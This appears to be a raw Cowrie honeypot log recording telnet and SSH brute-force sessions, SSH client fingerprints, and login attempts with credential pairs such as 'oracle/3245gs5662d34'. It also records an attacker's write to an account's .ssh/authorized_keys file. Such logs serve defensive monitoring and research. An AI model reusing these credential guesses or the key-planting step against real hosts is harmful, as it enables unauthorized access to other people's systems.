{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"38b5733195c6","protocol":"telnet","message":"New connection: 5.196.58.99:40556 (10.17.0.5:23) [session: 38b5733195c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.471210Z"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.524124Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.527430Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52816,"dst_ip":"10.17.0.5","dst_port":22,"session":"a96cdf33b0ba","protocol":"ssh","message":"New connection: 209.99.189.177:52816 (10.17.0.5:22) [session: a96cdf33b0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.647666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.651867Z","src_ip":"209.99.189.177","session":"a96cdf33b0ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.779730Z","src_ip":"209.99.189.177","session":"a96cdf33b0ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40572,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b3c2ac0aab","protocol":"telnet","message":"New connection: 5.196.58.99:40572 (10.17.0.5:23) [session: 82b3c2ac0aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:09.847874Z"}
{"eventid":"cowrie.session.closed","duration":30.462830066680908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:10.102790Z","src_ip":"5.196.58.99","session":"c5a6369421d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:10.317034Z","src_ip":"209.99.189.177","session":"a96cdf33b0ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40578,"dst_ip":"10.17.0.5","dst_port":23,"session":"e48fe095496d","protocol":"telnet","message":"New connection: 5.196.58.99:40578 (10.17.0.5:23) [session: e48fe095496d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:10.959897Z"}
{"eventid":"cowrie.session.closed","duration":30.803014039993286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.085397Z","src_ip":"5.196.58.99","session":"f0f6978405ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01661968231201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.114589Z","src_ip":"5.196.58.99","session":"88d9bd4cfe22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.446285Z","src_ip":"209.99.189.177","session":"a96cdf33b0ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":52830,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce6fcb431d3","protocol":"ssh","message":"New connection: 209.99.189.177:52830 (10.17.0.5:22) [session: 8ce6fcb431d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.573968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.578799Z","src_ip":"209.99.189.177","session":"8ce6fcb431d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.710134Z","src_ip":"209.99.189.177","session":"8ce6fcb431d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.46806573867798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:11.854586Z","src_ip":"5.196.58.99","session":"0290144e73cc","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:12.267779Z","src_ip":"209.99.189.177","session":"8ce6fcb431d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:12.400229Z","src_ip":"209.99.189.177","session":"464bc33502e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:12.405614Z","src_ip":"209.99.189.177","session":"8ce6fcb431d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40580,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aa67f844afd","protocol":"telnet","message":"New connection: 5.196.58.99:40580 (10.17.0.5:23) [session: 7aa67f844afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:12.831988Z"}
{"eventid":"cowrie.session.closed","duration":30.202317237854004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.094303Z","src_ip":"5.196.58.99","session":"30a0c11e799a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784884691238403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.120223Z","src_ip":"5.196.58.99","session":"2361677f1b44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.4.244.179","src_port":35673,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2f48e9ffc43","protocol":"ssh","message":"New connection: 155.4.244.179:35673 (10.17.0.5:22) [session: c2f48e9ffc43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.228710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.233223Z","src_ip":"155.4.244.179","session":"c2f48e9ffc43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40594,"dst_ip":"10.17.0.5","dst_port":23,"session":"f183be7f8036","protocol":"telnet","message":"New connection: 5.196.58.99:40594 (10.17.0.5:23) [session: f183be7f8036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.284843Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.337650Z","src_ip":"155.4.244.179","session":"c2f48e9ffc43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":40996,"dst_ip":"10.17.0.5","dst_port":23,"session":"17dc84d7cebd","protocol":"telnet","message":"New connection: 5.196.58.99:40996 (10.17.0.5:23) [session: 17dc84d7cebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.909776Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41010,"dst_ip":"10.17.0.5","dst_port":23,"session":"454504e4b930","protocol":"telnet","message":"New connection: 5.196.58.99:41010 (10.17.0.5:23) [session: 454504e4b930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:13.950436Z"}
{"eventid":"cowrie.session.closed","duration":30.27096676826477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:14.090328Z","src_ip":"5.196.58.99","session":"961e51c1589e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"terrariaserver","password":"terrariaserver","message":"login attempt [terrariaserver/terrariaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:14.185897Z","src_ip":"155.4.244.179","session":"c2f48e9ffc43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41026,"dst_ip":"10.17.0.5","dst_port":23,"session":"edf2b4c5f9de","protocol":"telnet","message":"New connection: 5.196.58.99:41026 (10.17.0.5:23) [session: edf2b4c5f9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:15.068103Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:15.292907Z","src_ip":"155.4.244.179","session":"c2f48e9ffc43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.778711318969727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:16.131603Z","src_ip":"5.196.58.99","session":"35c986f9283a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95893120765686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:17.312034Z","src_ip":"5.196.58.99","session":"1e1e557ae5a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41054,"dst_ip":"10.17.0.5","dst_port":23,"session":"205d8cff9152","protocol":"telnet","message":"New connection: 5.196.58.99:41054 (10.17.0.5:23) [session: 205d8cff9152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:17.542909Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41038,"dst_ip":"10.17.0.5","dst_port":23,"session":"2748e3d4629d","protocol":"telnet","message":"New connection: 5.196.58.99:41038 (10.17.0.5:23) [session: 2748e3d4629d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:17.643590Z"}
{"eventid":"cowrie.session.closed","duration":31.2715744972229,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:17.818017Z","src_ip":"5.196.58.99","session":"9ddb2bd8f2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41064,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba80358e102","protocol":"telnet","message":"New connection: 5.196.58.99:41064 (10.17.0.5:23) [session: 8ba80358e102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:18.726391Z"}
{"eventid":"cowrie.session.closed","duration":30.94048547744751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:18.792054Z","src_ip":"5.196.58.99","session":"9791ee5cf1e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.792325735092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:18.830861Z","src_ip":"5.196.58.99","session":"b180a1e68307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.586320161819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:19.058941Z","src_ip":"5.196.58.99","session":"171cb0357f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41068,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c95f16ec05c","protocol":"telnet","message":"New connection: 5.196.58.99:41068 (10.17.0.5:23) [session: 9c95f16ec05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:19.157016Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41028,"dst_ip":"10.17.0.5","dst_port":23,"session":"f54cf6b5dfd3","protocol":"telnet","message":"New connection: 5.196.58.99:41028 (10.17.0.5:23) [session: f54cf6b5dfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:19.276200Z"}
{"eventid":"cowrie.session.closed","duration":30.47731351852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:20.057472Z","src_ip":"5.196.58.99","session":"c3c4c96d4762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24241542816162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:20.087031Z","src_ip":"5.196.58.99","session":"f80307ab0511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841318607330322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:21.275656Z","src_ip":"5.196.58.99","session":"3c5e95843e6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008090257644653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:22.060683Z","src_ip":"5.196.58.99","session":"f76aa57b89dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41080,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1d6ad317a48","protocol":"telnet","message":"New connection: 5.196.58.99:41080 (10.17.0.5:23) [session: d1d6ad317a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:22.072733Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b426dc12ff2f","protocol":"telnet","message":"New connection: 5.196.58.99:41086 (10.17.0.5:23) [session: b426dc12ff2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:22.283561Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41088,"dst_ip":"10.17.0.5","dst_port":23,"session":"66dbf2ea2ab3","protocol":"telnet","message":"New connection: 5.196.58.99:41088 (10.17.0.5:23) [session: 66dbf2ea2ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:22.434704Z"}
{"eventid":"cowrie.session.closed","duration":31.469884157180786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:22.437985Z","src_ip":"5.196.58.99","session":"095ef1a0816a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672067165374756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:23.192039Z","src_ip":"5.196.58.99","session":"76ffbf678eb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133362293243408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:23.276254Z","src_ip":"5.196.58.99","session":"5a507c424a05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41108,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb813ab82b3","protocol":"telnet","message":"New connection: 5.196.58.99:41108 (10.17.0.5:23) [session: fcb813ab82b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:23.428319Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41100,"dst_ip":"10.17.0.5","dst_port":23,"session":"f536376bb0c7","protocol":"telnet","message":"New connection: 5.196.58.99:41100 (10.17.0.5:23) [session: f536376bb0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:23.565338Z"}
{"eventid":"cowrie.session.closed","duration":30.52603769302368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:24.363607Z","src_ip":"5.196.58.99","session":"a9c316bfa43b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":41120,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ebcfe6f9d9f","protocol":"telnet","message":"New connection: 5.196.58.99:41120 (10.17.0.5:23) [session: 7ebcfe6f9d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:24.559757Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55084,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b789e231cc0","protocol":"telnet","message":"New connection: 5.196.58.99:55084 (10.17.0.5:23) [session: 3b789e231cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:26.304687Z"}
{"eventid":"cowrie.session.closed","duration":31.517383098602295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:26.930980Z","src_ip":"5.196.58.99","session":"4fd278d498f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85895609855652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:27.294868Z","src_ip":"5.196.58.99","session":"1e30e214a0d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55096,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf42c7362a2","protocol":"telnet","message":"New connection: 5.196.58.99:55096 (10.17.0.5:23) [session: adf42c7362a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:27.623410Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55112,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2ef324a35e9","protocol":"telnet","message":"New connection: 5.196.58.99:55112 (10.17.0.5:23) [session: b2ef324a35e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:27.759599Z"}
{"eventid":"cowrie.session.closed","duration":30.741907835006714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:28.281739Z","src_ip":"5.196.58.99","session":"150ac0767bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":55142,"dst_ip":"10.17.0.5","dst_port":23,"session":"3563c5433970","protocol":"telnet","message":"New connection: 5.196.58.99:55142 (10.17.0.5:23) [session: 3563c5433970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:14:29.047220Z"}
